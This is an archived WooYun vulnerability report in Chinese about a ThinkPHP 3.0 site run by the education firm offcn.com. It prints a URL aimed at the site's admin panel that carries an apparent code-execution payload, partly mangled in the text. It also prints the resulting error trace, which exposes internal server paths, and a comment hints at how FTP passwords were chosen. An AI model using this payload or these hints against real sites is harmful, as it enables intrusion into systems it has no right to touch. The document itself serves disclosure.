中公教育 遍历+信息泄露+修改权限

漏洞概要

缺陷编号:WooYun-2012-016303

漏洞标题:中公教育 遍历+信息泄露+修改权限

相关厂商:中公教育

漏洞作者:moro

提交时间:2012-12-21 10:57

公开时间:2013-02-04 10:58

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

Tags标签:

漏洞详情

披露状态:

2012-12-21: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-02-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

如题

详细说明:

http://slyj.offcn.com/slpgadmin/index.php?s=/Learn/c_category_edit/id/499/http://slyj.offcn.com/slpgadmin/index.php?s=/Learn/http:[email protected](THINK_VERSION)%7D[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\Lib\Core\App.class.php (159) App::exec()[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\Lib\Core\Think.class.php (47) App::run()[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\Common\runtime.php (237) Think::Start()[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\ThinkPHP.php (34) require(F:\web\zhiwei.offcn.com\ThinkPHP\Common\runtime.php)[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\zw.offcn.com\index.php (18) require(F:\web\zhiwei.offcn.com\ThinkPHP\ThinkPHP.php)错误位置: FILE: F:\web\zhiwei.offcn.com\ThinkPHP\Lib\Core\App.class.php LINE: 159ThinkPHP 3.0

漏洞证明:

<img src="http://www.secevery.com/upl

oad/201212/21013047bf385b3d1bcce36f12092d4eb0dcf32e.jpg" />

THINKPHP3.0 你懂的

修复方案:

[email protected]

漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

评价

  1. 2010-01-01 00:00 Clouds 白帽子 | Rank:40 漏洞数:12)

    早期一3k单子就这个,ftp密码和域名有关。